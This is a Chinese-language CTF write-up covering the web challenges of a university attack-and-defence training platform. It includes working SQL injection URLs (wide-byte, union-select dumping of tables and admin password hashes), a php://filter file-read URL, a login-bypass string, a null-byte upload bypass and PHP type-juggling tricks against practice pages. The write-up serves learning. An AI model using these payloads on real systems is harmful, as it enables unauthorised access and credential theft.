南京郵電大學網路攻防平臺WEB題
南京郵電大學網路攻防平臺WEB題
平臺地址:http://ctf.nuptsast.com/
簽到題:
右鍵檢視原始碼,得到flag
md5 collision:
傳入的a的md5值要為0e開頭的,但不能是QNKCDZO,百度一個0e開頭的md5
得到flag
簽到2:
右鍵檢視原始碼
輸入框允許的最大長度為10,口令的長度為11
使用hackbar post一下
得到flag
這題不是WEB:
下載圖片,用記事本開啟
拉到最後,得到flag
層層遞進:
是一個網站頁面,先掃一下
有個404.html
檢視一下原始碼,得到flag
AAencode:
這題為javascript aaencode解密題,直接解密,得到flag,工具地址:https://tool.zcmzcm.org/aadecode
單身二十年:
右鍵檢視原始碼
點選進入,得到flag
php decode:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
<?php
function CLsI( $ZzvSWE ) {
$ZzvSWE = gzinflate( base64_decode ( $ZzvSWE ));
for ( $i = 0; $i < strlen ( $ZzvSWE ); $i ++) {
$ZzvSWE [ $i ] = chr (ord( $ZzvSWE [ $i ]) - 1);
}
return $ZzvSWE ;
} eval (CLsI( "+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA==" ));?>
|
把eval改為echo,在本地用phpstudy測試一下
得到flag
檔案包含:
點進去
用php://filter/讀取index.php
構建url:http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
為base64加密,解密一下得到flag
單身一百年也沒用:
開啟firebug,在“網路”裡檢視包,點選連結,檢視包,得到flag
Download~!:
這類又兩個下載連結,複製一下一個地址,http://way.nuptzj.cn/web6/download.php?url=eGluZ3hpbmdkaWFuZGVuZy5tcDM=,後面為base64加密,下載download.php,對download.php進行base64加密後下載
下載後開啟
發現一個hereiskey.php,下載後開啟,得到flag
COOKIE:
在firebug裡的cookies處修改一下,把0改成1,然後重新整理頁面
得到flag
MYSQL:
直接在後面加個robots.txt
id不等於1024才給輸出內容,intval()函式又是獲取整數值,直接傳入1024.1,得到flag
sql injection 3:
加個單引號
單引號被過濾了,看來是寬位元組注入,查一下欄位
http: //chinalover .sinaapp.com /SQL-GBK/index .php? id =-1% df ' order by 1,2,3,4,5 %23
|
報錯
http: //chinalover .sinaapp.com /SQL-GBK/index .php? id =-1% df ' order by 1,2 %23
|
沒報錯
http: //chinalover .sinaapp.com /SQL-GBK/index .php? id =-1% df ' order by 1,2,3 %23
|
報錯
有2個欄位
http: //chinalover .sinaapp.com /SQL-GBK/index .php? id =-1% df ' union select 1,2 %23
|
爆出了個2,查一下資料庫
http: //chinalover .sinaapp.com /SQL-GBK/index .php? id =-1% df ' union select 1,database() %23
|
爆出了一個數據庫
爆一下表
http: //chinalover .sinaapp.com /SQL-GBK/index .php? id =-1% df union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() %23
|
爆出了5個表:ctf,ctf2,ctf3,ctf4,news
爆一下ctf的欄位
http: //chinalover .sinaapp.com /SQL-GBK/index .php? id =-1% df ' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x637466 %23
|
得到2個欄位
爆一下內容
http: //chinalover .sinaapp.com /SQL-GBK/index .php? id =-1% df ' union select 1,group_concat(user,pw) from ctf %23
|
爆出一個admin和一個md5密文
解一下密
密文為njupt
試了ctf2和ctf3都沒有找到flag
試ctf4的時候看到了一個flag欄位
爆一下內容
得到flag
/x00:
ereg()函式可以%00截斷,當傳入的nctf為陣列時,它的返回值不是FALSE,直接傳入nctf[]得到flag
bypass again:
傳入的a和b的值不相等,但是md5的值相等,可以用陣列
得到flag
變數覆蓋:
點選,看一下原始碼
extract()函式變數覆蓋$pass和$thepassword_123
得到flag
PHP是世界上最好的語言:
訪問一下index.txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
<?php
if ( eregi ( "hackerDJ" , $_GET [id])) {
echo ( "<p>not allowed!</p>" );
exit ();
}
$_GET [id] = urldecode( $_GET [id]);
if ( $_GET [id] == "hackerDJ" )
{
echo "<p>Access granted!</p>" ;
echo "<p>flag: *****************} </p>" ;
}
?>
<br><br>
Can you authenticate to this website?
|
eregi()函式判斷id傳入的值是否為hackerDJ,傳入的id的值url解碼後要跟hackerDJ相同,對hackerDJ進行兩次url編碼
http: //way .nuptzj.cn /php/index .php? id =%25%36%38%25%36%31%25%36%33%25%36%42%25%36%35%25%37%32%25%34%34%25%34%41
|
得到flag
偽裝者:
這裡提示本地登陸
Header:
開啟Firebug,重新整理一下介面,得到flag
上傳繞過:
選擇一個圖片檔案上傳,用burp抓包
在/uploads/後加一個php的字尾名,然後%00截斷,發包得到flag
SQL注入1:
點選Source,檢視原始碼
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
<?php
if ( $_POST [user] && $_POST [pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = trim( $_POST [user]);
$pass = md5(trim( $_POST [pass]));
$sql = "select user from ctf where (user='" . $user . "') and (pw='" . $pass . "')" ;
echo '</br>' . $sql ;
$query = mysql_fetch_array(mysql_query( $sql ));
if ( $query [user]== "admin" ) {
echo "<p>Logged in! flag:******************** </p>" ;
}
if ( $query [user] != "admin" ) {
echo ( "<p>You are not admin!</p>" );
}
}
echo $query [user];
?>
|
用admin')把語句閉合,用--把後面的語句註釋掉,如果是admin的話,就能得到flag
構造語句:admin') -- aaa,密碼隨便填
pass check:
程式碼如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
<?php
$pass =@ $_POST [ 'pass' ];
$pass1 =***********; //被隱藏起來的密碼
if (isset( $pass ))
{
if (@! strcmp ( $pass , $pass1 )){
echo "flag:nctf{*}" ;
} else {
echo "the pass is wrong!" ;
}
} else {
echo "please input pass!" ;
}
?>
|
strcmp()函式對$pass和$pass1進行比較,如果一樣的話返回flag,strcmp()比較的結果相同時會返回0,比較陣列的時候會返回null,null和0在判斷中相等
用hackbar post一個數組
得到flag
起名字真難:
原始碼如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
<?php
function noother_says_correct( $number )
{
$one = ord( '1' );
$nine = ord( '9' );
for ( $i = 0; $i < strlen ( $number ); $i ++)
{
$digit = ord( $number { $i });
if ( ( $digit >= $one ) && ( $digit <= $nine ) )
{
return false;
}
}
return $number == '54975581388' ;
}
$flag = '*******' ;
if (noother_says_correct( $_GET [ 'key' ]))
echo $flag ;
else
echo 'access denied' ;
?>
|
不能傳入數字,但是要傳入54975581388,才能得到flag,轉換為十六進位制傳入
http: / / chinalover.sinaapp.com / web12 / index.php?key = 0xccccccccc
|
得到flag
分類:CTF 轉自:https://www.cnblogs.com/sch01ar/p/7780585.html